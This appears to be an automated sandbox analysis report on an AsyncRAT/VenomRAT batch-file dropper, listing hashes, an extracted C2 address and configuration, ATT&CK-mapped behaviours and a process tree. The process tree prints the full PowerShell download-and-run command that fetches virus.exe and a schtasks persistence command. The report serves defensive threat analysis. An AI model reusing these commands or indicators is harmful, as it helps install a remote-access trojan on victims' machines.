asyncrat | fbb6befab51fcdab9f44079729dd959caecbe24975dfe212e921ec08e5c45f48

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-12-2024 23:08

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General

Target

test.bat
Size

2KB
MD5

83834b6e8e0b6ccea0df9ed0c91ecbc9
SHA1

6f706a5d11739d2ebb52a1c15732341db0229b2d
SHA256

fbb6befab51fcdab9f44079729dd959caecbe24975dfe212e921ec08e5c45f48
SHA512

aac78c21a40dfbd0656dcdc47b0a4b9a65b5abaf3097178eae1ae185bfaabbb4aab3f2f722114032bb04559e6978706ba4b6a0c4e10ecf5d8a76391286ac064e

Score

10^/10

asyncrat venomrat default execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

66.66.146.74:9511

Mutex

8906005788005HTGF

Attributes

delay
1
install
true
install_file
WINDOWS.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

VenomRAT 2 IoCs

Detects VenomRAT.

rat

resource	yara_rule
behavioral2/files/0x000b000000023b65-17.dat	VenomRAT
behavioral2/memory/1168-24-0x0000000000220000-0x0000000000238000-memory.dmp	VenomRAT

Venomrat family
venomrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000b000000023b65-17.dat	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	4376	powershell.exe
10	4376	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4376	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	virus.exe

Executes dropped EXE 2 IoCs

pid	Process
1168	virus.exe
2404	WINDOWS.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4940	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1120	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4376	powershell.exe
4376	powershell.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
1168	virus.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe
2404	WINDOWS.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeDebugPrivilege	1168	virus.exe
Token: SeDebugPrivilege	2404	WINDOWS.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2404	WINDOWS.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3760 wrote to memory of 4376	3760	cmd.exe	85
PID 3760 wrote to memory of 4376	3760	cmd.exe	85
PID 4376 wrote to memory of 1168	4376	powershell.exe	86
PID 4376 wrote to memory of 1168	4376	powershell.exe	86
PID 1168 wrote to memory of 2560	1168	virus.exe	87
PID 1168 wrote to memory of 2560	1168	virus.exe	87
PID 1168 wrote to memory of 4884	1168	virus.exe	88
PID 1168 wrote to memory of 4884	1168	virus.exe	88
PID 2560 wrote to memory of 1120	2560	cmd.exe	91
PID 2560 wrote to memory of 1120	2560	cmd.exe	91
PID 4884 wrote to memory of 4940	4884	cmd.exe	92
PID 4884 wrote to memory of 4940	4884	cmd.exe	92
PID 4884 wrote to memory of 2404	4884	cmd.exe	93
PID 4884 wrote to memory of 2404	4884	cmd.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$url = 'https://github.com/Realmastercoder69/realnew/releases/download/das/virus.exe'; $output = \"$env:Temp\\virus.exe\"; Invoke-WebRequest -Uri $url -OutFile $output; Start-Process -FilePath $output -Wait"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Users\Admin\AppData\Local\Temp\virus.exe
    "C:\Users\Admin\AppData\Local\Temp\virus.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1168
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2560
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "WINDOWS" /tr '"C:\Users\Admin\AppData\Roaming\WINDOWS.exe"'
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1120
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7D1F.tmp.bat""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4884
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:4940
    - - C:\Users\Admin\AppData\Roaming\WINDOWS.exe
        
        "C:\Users\Admin\AppData\Roaming\WINDOWS.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lfkvctgd.mm0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp7D1F.tmp.bat

Filesize
151B

MD5
4d20bb6cc2f6a49356213b815e503980

SHA1
9ea544b22526ff695d7800a5f180b4bed30bb4fa

SHA256
19ebbdb69a379a5eaf4c8625727df0c4498fcd4f65d0cc6c60a30905dc061887

SHA512
db851407dad602d364fecf4535d4a338374fa2b2f9178355e4c692a9b76c1dee60382c846a345d62113be2112968e9672914ee14bae5bb3207090a89bdf03f93

Download Submit
C:\Users\Admin\AppData\Local\Temp\virus.exe

Filesize
74KB

MD5
7a545dbf06e65f7f17f04ae0f5153e0e

SHA1
ab20193637edd250eac59fd71b6ea2b7a0faaad4

SHA256
c3556cd1169de28cb9f6ba3a06a875f756b1bbadfb51b7ce00c92f23d2cd4f5d

SHA512
98a56663c90195b0b22df4dcfd72cc4717e445d5eaa2f4571443becbe38a77121835073cbf56377f5cc11849e160dbe9e156fcff8a3fab2efd9aa97a1876d0d1

Download Submit
C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

Filesize
8B

MD5
cf759e4c5f14fe3eec41b87ed756cea8

SHA1
c27c796bb3c2fac929359563676f4ba1ffada1f5

SHA256
c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

SHA512
c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

Download Submit
memory/1168-32-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

Filesize
10.8MB

Download
memory/1168-24-0x0000000000220000-0x0000000000238000-memory.dmp

Filesize
96KB

Download
memory/1168-25-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

Filesize
10.8MB

Download
memory/1168-27-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

Filesize
10.8MB

Download
memory/4376-12-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

Filesize
10.8MB

Download
memory/4376-0-0x00007FFBB9E73000-0x00007FFBB9E75000-memory.dmp

Filesize
8KB

Download
memory/4376-11-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

Filesize
10.8MB

Download
memory/4376-1-0x000001AAFC050000-0x000001AAFC072000-memory.dmp

Filesize
136KB

Download
memory/4376-38-0x00007FFBB9E73000-0x00007FFBB9E75000-memory.dmp

Filesize
8KB

Download
memory/4376-39-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

Filesize
10.8MB

Download
memory/4376-40-0x00007FFBB9E70000-0x00007FFBBA931000-memory.dmp

Filesize
10.8MB

Download